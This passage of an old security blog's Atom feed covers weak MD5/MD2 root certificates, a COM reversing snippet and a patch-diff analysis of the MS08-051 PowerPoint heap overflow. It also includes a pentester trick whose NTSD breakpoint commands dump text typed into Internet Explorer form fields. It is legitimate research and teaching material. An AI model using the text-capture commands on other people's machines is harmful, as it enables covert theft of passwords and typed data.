/&gt;&lt;span style="font-family: courier new;"&gt;[Issuer]        CN=CNRS, O=CNRS, C=FR&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;[Subject]       CN=CNRS-Standard, O=CNRS, C=FR&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;[Signature]     md5RSA&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.microsoft.com/whdc/winlogo/drvsign/drvsign.mspx"&gt;Microsoft&lt;/a&gt; drivers signing PKI (at least on Windows XP SP2). Since drivers developers can ask for signatures, this is concerning too. But I feel that this authority might not be used by Microsoft anymore for newer signatures, given its old age.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family: courier new;"&gt;[FriendlyName]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;[Issuer]        CN=Microsoft Root Authority, OU=Microsoft Corporation, OU=Copyri&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;ght (c) 1997 Microsoft Corp.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;[Subject]       CN=Microsoft Windows Hardware Compatibility, OU=Microsoft Corpor&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;ation, OU=Microsoft Windows Hardware Compatibility Intermediate CA, OU=Copyright&lt;/span&gt;&lt;span style="font-family: courier new;"&gt; (c) 1997 Microsoft Corp.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;[Signature]     md5RSA&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Some random &lt;a href="https://www.netlock.net/"&gt;foreign authorities&lt;/a&gt;, which are using obscure certification policies.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family: courier new;"&gt;[FriendlyName]  NetLock Uzleti (Class B) Tanusitvanykiado&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;[Issuer]        CN=NetLock Uzleti (Class B) Tanusitvanykiado, OU=Tanusitvanykiad&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;ok, O=NetLock Halozatbiztonsagi Kft., L=Budapest, C=HU&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;[Subject]       CN=NetLock Uzleti (Class B) Tanusitvanykiado, OU=Tanusitvanykiad&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;ok, O=NetLock Halozatbiztonsagi Kft., L=Budapest, C=HU&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;[Signature]     md5RSA&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;And last but not least, this VeriSign authority is using ... MD2 (this is not the only one, unfortunately).&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family: courier new;"&gt;[FriendlyName]  VeriSign&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;[Issuer]        OU=VeriSign Commercial Software Publishers CA, O="VeriSign, Inc.&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;", L=Internet&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;[Subject]       OU=VeriSign Commercial Software Publishers CA, O="VeriSign, Inc.&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;", L=Internet&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;[Signature]     md2RSA&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;PS. &lt;a href="http://www.impots.gouv.fr/"&gt;impots.gouv.fr&lt;/a&gt; is NOT vulnerable ;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26480225-1486912474208162959?l=newsoft-tech.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://newsoft-tech.blogspot.com/feeds/1486912474208162959/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26480225&amp;postID=1486912474208162959' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26480225/posts/default/1486912474208162959'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26480225/posts/default/1486912474208162959'/><link rel='alternate' type='text/html' href='http://newsoft-tech.blogspot.com/2009/01/having-fun-with-certificates.html' title='Having fun with certificates'/><author><name>newsoft</name><uri>http://www.blogger.com/profile/04331742158137961313</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://newsoft.dyndns.org/blog.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26480225.post-4707785181079547004</id><published>2008-12-19T18:48:00.001+01:00</published><updated>2008-12-19T18:49:17.136+01:00</updated><title type='text'>Pentester trick #6: logging Internet Explorer boxes</title><content type='html'>In a previous post (&lt;a href="http://newsoft-tech.blogspot.com/2008/08/pentester-trick-5-debugging-without.html"&gt;&lt;span class="Apple-style-span" style="font-style: italic;"&gt;Debugging Without Debugger&lt;/span&gt;&lt;/a&gt;), I promised to explain how to log content from text areas within &lt;span style="font-weight: bold;"&gt;Internet Explorer&lt;/span&gt; Web pages.&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;If you tried to apply the previously described technique to Internet Explorer, you should have noticed that &lt;span style=";font-family:courier new;font-size:85%;"  &gt;GetWindowText&lt;/span&gt; is never called for getting text from Web controls. This is because the whole Web page is rendered without relying on standard Windows controls.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Therefore, we need to find the &lt;span style="font-size:85%;"&gt;GetWindowTextLength/GetWindowText&lt;/span&gt; equivalents in &lt;span style="font-size:85%;"&gt;&lt;span style="font-family: courier new;"&gt;MSHTML.DLL&lt;/span&gt;&lt;/span&gt;. Fortunately, debugging symbols will help us much in this case. The equivalent functions are:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div style="font-family: courier new;"&gt;&lt;span style="font-size:85%;"&gt;mshtml!CTxtPtr::GetPlainTextLength()&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: courier new;"&gt;&lt;span style="font-size:85%;"&gt;mshtml!CTxtPtr::GetPlainText()&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Which are called from 3 locations, the most common being:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family: courier new;"&gt;mshtml!CElement::GetPlainTextInScope()&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;Unfortunately, NTSD does not seem to handle symbols properly, which prevents us from setting a symbolic breakpoint :(&lt;br /&gt;&lt;br /&gt;Since &lt;span style="font-size:85%;"&gt;&lt;span style="font-family: courier new;"&gt;MSHTML.DLL&lt;/span&gt;&lt;/span&gt; is upgraded by virtually every cumulative patch for Internet Explorer, you really need to get access to the debugging symbols for the specific Internet Explorer version installed on the target (hint: use the SYMCHK utility shipped with &lt;a href="http://www.microsoft.com/whdc/devtools/debugging/default.mspx"&gt;Debugging Tools&lt;/a&gt;) and find appropriate addresses inside.&lt;br /&gt;&lt;br /&gt;From my up-to-date Internet Explorer 7 installation, here are some sample addresses:&lt;br /&gt;&lt;br /&gt;&lt;div style="font-family: courier new;"&gt;&lt;span style="font-size:85%;"&gt;mshtml!CTxtPtr::GetPlainTextLength : 0x44BB3B85 (entry point) -&gt; 0x44BB3BFD (ret)&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: courier new;"&gt;&lt;span style="font-size:85%;"&gt;mshtml!CTxtPtr::GetPlainText : 0x44BB3C05 (entry point) -&gt; 0x44BB3C75 (ret)&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;span style="font-family: courier new;font-size:85%;" &gt;mshtml!CElement::GetPlainTextInScope : &lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family: courier new;"&gt;0x44BB3CA6 (entry point) -&gt; 0x44BB3D46 (ret)&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The epilog of &lt;span style="font-size:85%;"&gt;&lt;span style="font-family: courier new;"&gt;GetPlainTextInScope&lt;/span&gt;&lt;/span&gt; function is:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family: courier new;"&gt;.text:44BB3D3F                 mov     eax, [ebp+var_4]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;.text:44BB3D42                 pop     edi&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;.text:44BB3D43                 pop     esi&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;.text:44BB3D44                 pop     ebx&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;.text:44BB3D45                 leave&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;.text:44BB3D46                 retn    4&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;.text:44BB3D46 ?GetPlainTextInScope@CElement@@QAEJPAVCStr@@@Z endp&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;From here, it is nice to know that ESI points to the Unicode text content before being overwritten at address &lt;span style="font-size:85%;"&gt;&lt;span style="font-family: courier new;"&gt;0x&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;span style="font-family: courier new;"&gt;44BB3D43&lt;/span&gt;.&lt;/span&gt;&lt;/span&gt; Therefore the following NTSD commands will do the trick:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family: courier new;"&gt;ntsd -pn iexplore.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;bp 0x44BB3D43 "du poi(esi); g;"&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Awkward trick I must admit, but it could save pentesters' lifes anyway ;)&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26480225-4707785181079547004?l=newsoft-tech.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://newsoft-tech.blogspot.com/feeds/4707785181079547004/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26480225&amp;postID=4707785181079547004' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26480225/posts/default/4707785181079547004'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26480225/posts/default/4707785181079547004'/><link rel='alternate' type='text/html' href='http://newsoft-tech.blogspot.com/2008/12/pentester-trick-6-logging-internet.html' title='Pentester trick #6: logging Internet Explorer boxes'/><author><name>newsoft</name><uri>http://www.blogger.com/profile/04331742158137961313</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://newsoft.dyndns.org/blog.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26480225.post-8225098019317776996</id><published>2008-08-23T21:31:00.003+01:00</published><updated>2008-08-23T21:57:11.653+01:00</updated><title type='text'>Reversing COM components</title><content type='html'>There are many free tools available that could prove helpful for analyzing COM components. My favorites are &lt;a href="http://labs.idefense.com/software/fuzzing.php#more_comraider"&gt;COMRaider&lt;/a&gt; and Jose Roca's &lt;a href="http://www.com.it-berater.org/typelib_browser.htm"&gt;TypeLib Browser&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Those tools are good for a 1st pass analysis (like fuzzing or calling a specific method from a VBS script), but when it comes to have a look at the binary implementation itself, things become a little thougher...&lt;br /&gt;&lt;br /&gt;There are some IDA Pro helpers (scripts and plugins) hanging around, but given the complexity of COM and C++ reversing, it remains quite hard to tell where the code is through static analysis only.&lt;br /&gt;&lt;br /&gt;Then I stumbled upon &lt;a href="http://securitylabs.websense.com/content/Blogs/3166.aspx"&gt;this post&lt;/a&gt; (by WebSense) that gives a very easy way to locate all exported methods through the use of &lt;a href="http://msdn.microsoft.com/en-us/library/8etzzkb6%28VS.71%29.aspx"&gt;#import&lt;/a&gt; directive in Visual Studio. Since they only give away screenshots, here is the full piece of code that will retrieve the RVA of the first 10 methods of Flash plugin.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="font-family:courier new;"&gt;#include &amp;lt;windows.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;#include &amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;// Note: this must be a CPP file to use #import directive&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;#import "C:\\WINDOWS\\SYSTEM32\\Macromed\\Flash\\Flash9e.ocx" no_namespace&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;int main() {&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;  printf("Hello, world of COM!\n");&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;  CoInitialize(NULL);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;  IShockwaveFlash *pShockwave=NULL;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;  HRESULT hr = CoCreateInstance( __uuidof(ShockwaveFlash),&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    NULL,&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    CLSCTX_INPROC_SERVER | CLSCTX_LOCAL_SERVER,&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    __uuidof(IShockwaveFlash),&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    (void**)&amp;amp;pShockwave&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;  );&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;  if (hr==S_OK) {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    DWORD dwVT=*(DWORD*)pShockwave;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    DWORD *p=(DWORD*)dwVT;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    for (int i=1;i&amp;lt;11;i++) {&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      printf("[%d] VA=%08x RVA=%08x\n",&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;        i,&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;        *p,&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;        *p-(DWORD)GetModuleHandle("Flash9e.ocx")&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      );&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      p++;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    pShockwave-&amp;gt;Release();&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;  }&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;  return 0;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Sample output:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style=";font-family:courier new;font-size:78%;"  &gt;C:\&gt;cl test.cpp&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:courier new;font-size:78%;"  &gt;Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 14.00.50727.762 for 80x86&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:courier new;font-size:78%;"  &gt;Copyright (C) Microsoft Corporation.  All rights reserved.&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:courier new;font-size:78%;"  &gt;test.cpp&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:courier new;font-size:78%;"  &gt;Microsoft (R) Incremental Linker Version 8.00.50727.762&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:courier new;font-size:78%;"  &gt;Copyright (C) Microsoft Corporation.  All rights reserved.&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:courier new;font-size:78%;"  &gt;/out:test.exe&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:courier new;font-size:78%;"  &gt;test.obj&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:courier new;font-size:78%;"  &gt;C:\&gt;test.exe&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:courier new;font-size:78%;"  &gt;Hello, world of COM!&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:courier new;font-size:78%;"  &gt;[1] VA=300b4ec2 RVA=000b4ec2&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:courier new;font-size:78%;"  &gt;[2] VA=300b38a4 RVA=000b38a4&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:courier new;font-size:78%;"  &gt;[3] VA=300b38b1 RVA=000b38b1&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:courier new;font-size:78%;"  &gt;[4] VA=300bd353 RVA=000bd353&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:courier new;font-size:78%;"  &gt;[5] VA=300b78b7 RVA=000b78b7&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:courier new;font-size:78%;"  &gt;[6] VA=300b7d33 RVA=000b7d33&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:courier new;font-size:78%;"  &gt;[7] VA=300cbe5c RVA=000cbe5c&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:courier new;font-size:78%;"  &gt;[8] VA=300c7c34 RVA=000c7c34&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:courier new;font-size:78%;"  &gt;[9] VA=300c7c46 RVA=000c7c46&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:courier new;font-size:78%;"  &gt;[10] VA=300c7b9d RVA=000c7b9d&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;Beware: the COM component will be instanciated by this code. Do not try this on malicious code, unless you know what you are doing!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26480225-8225098019317776996?l=newsoft-tech.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://newsoft-tech.blogspot.com/feeds/8225098019317776996/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26480225&amp;postID=8225098019317776996' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26480225/posts/default/8225098019317776996'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26480225/posts/default/8225098019317776996'/><link rel='alternate' type='text/html' href='http://newsoft-tech.blogspot.com/2008/08/reversing-com-components.html' title='Reversing COM components'/><author><name>newsoft</name><uri>http://www.blogger.com/profile/04331742158137961313</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://newsoft.dyndns.org/blog.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26480225.post-6623214609853399826</id><published>2008-08-18T20:05:00.003+01:00</published><updated>2008-08-18T20:41:13.242+01:00</updated><title type='text'>MS08-051 secrets</title><content type='html'>On &lt;a href="http://www.microsoft.com/technet/security/Bulletin/ms08-Aug.mspx"&gt;August 12th&lt;/a&gt;, Microsoft released a flurry of Office security patches.&lt;br /&gt;&lt;br /&gt;Among those patches is to be found &lt;a href="http://www.microsoft.com/technet/security/Bulletin/MS08-051.mspx"&gt;MS08-051&lt;/a&gt; / &lt;a href="http://support.microsoft.com/kb/949785"&gt;Q949785&lt;/a&gt;, a patch targeting all supported versions of PowerPoint and PowerPoint Viewer, excluding PowerPoint Viewer 2007 and PowerPoint 2008 for Mac.&lt;br /&gt;&lt;br /&gt;According to the bulletin, this patch fixes at least 3 vulnerabilities, 2 of them being documented on &lt;a href="http://reversemode.com/index.php?option=com_content&amp;amp;task=view&amp;amp;id=53&amp;amp;Itemid=1"&gt;Reversemode.com&lt;/a&gt;. Let's have a look at the first vulnerability, which is an integer overflow resulting in a heap overflow. At the time of writing, a vulnerable version (11.0.5703.0) of &lt;a href="http://www.microsoft.com/downloads/details.aspx?FamilyId=428D5727-43AB-4F24-90B7-A94784AF71A4&amp;amp;displaylang=en"&gt;PowerPoint Viewer 2003&lt;/a&gt; can be downloaded from Microsoft web site. The vulnerable code path can be found in this version:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family: courier new;"&gt;.text:300F642C loc_300F642C:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;.text:300F642C                 mov     eax, [edi]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;.text:300F642E                 mov     ecx, [ebp+var_14]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;.text:300F6431                 mov     ebx, [eax+ecx*4]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;.text:300F6434                 mov     esi, [ebx+2] &lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;; EBX is user-supplied length&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;.text:300F6437                 test    esi, esi&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;.text:300F6439                 mov     [ebp+var_20], ebx&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;.text:300F643C                 mov     [ebp+var_1C], esi&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;.text:300F643F                 jz      loc_300F6516&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;.text:300F6445                 mov     ax, [ebx]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;.text:300F6448                 and     eax, 3FFFh&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;.text:300F644D                 push    eax&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;.text:300F644E                 call    _MsoPopinfoGet@4 ; MsoPopinfoGet(x)&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;If EBX==0xFFFFFFFF, this code will result in calling GlobalAlloc(0x00000001) and copying 0xFFFFFFFF bytes later on.&lt;br /&gt;&lt;br /&gt;After patching PowerPoint Viewer 2003, the code looks like (thanks to &lt;a href="http://cgi.tenablesecurity.com/tenable/patchdiff.php"&gt;PatchDiff&lt;/a&gt; ;):&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family: courier new;"&gt;.text:300DC0BC loc_300DC0BC:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;.text:300DC0BC                 mov     eax, [edi]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;.text:300DC0BE                 mov     ecx, [ebp+var_14]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;.text:300DC0C1                 mov     ebx, [eax+ecx*4]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;.text:300DC0C4                 mov     esi, [ebx+2]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;.text:300DC0C7                 test    esi, esi&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;.text:300DC0C9                 mov     [ebp+var_24], ebx&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;.text:300DC0CC                 mov     [ebp+var_20], esi&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;.text:300DC0CF                 jz      loc_300DC1B2&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new; font-weight: bold; color: rgb(255, 0, 0);"&gt;.text:300DC0D5                 cmp     [ebp+var_18], esi&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new; font-weight: bold; color: rgb(255, 0, 0);"&gt;.text:300DC0D8                 jb      loc_300DC1DD&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;.text:300DC0DE                 mov     ax, [ebx]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;.text:300DC0E1                 sub     [ebp+var_18], esi&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;.text:300DC0E4                 and     eax, 3FFFh&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;.text:300DC0E9                 push    eax&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;.text:300DC0EA                 call    _MsoPopinfoGet@4 ; MsoPopinfoGet(x)&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;End of the story ? Not quite ... There is at least another Microsoft product that shares the PowerPoint codebase: &lt;a href="http://office.microsoft.com/en-us/help/HA101733831033.aspx"&gt;Microsoft Office Live Meeting Client 2007&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Since it has PowerPoint rendering capabilities, this client is bundled with "lmpptview.dll". Beta versions of this DLL are internally numbered "12.0.x", showing clear connection with Office 2007. As of RTM version, this DLL is now numbered "8.0.3029.0". However, the following code sequence can be found inside:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family: courier new;"&gt;.text:004345FC loc_4345FC:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;.text:004345FC                 mov     ecx, [ecx]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;.text:004345FE                 lea     eax, [ecx+edx*4]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;.text:00434601                 mov     edi, [eax]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;.text:00434603                 mov     esi, [edi+2]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;.text:00434606                 test    esi, esi&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;.text:00434608                 jz      short loc_434689&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new; font-weight: bold; color: rgb(255, 0, 0);"&gt;.text:0043460A                 cmp     [ebp-14h], esi&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new; font-weight: bold; color: rgb(255, 0, 0);"&gt;.text:0043460D                 jb      loc_439769&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;.text:00434613                 movzx   eax, word ptr [edi]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;.text:00434616                 sub     [ebp-14h], esi&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;.text:00434619                 and     eax, 3FFFh&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier 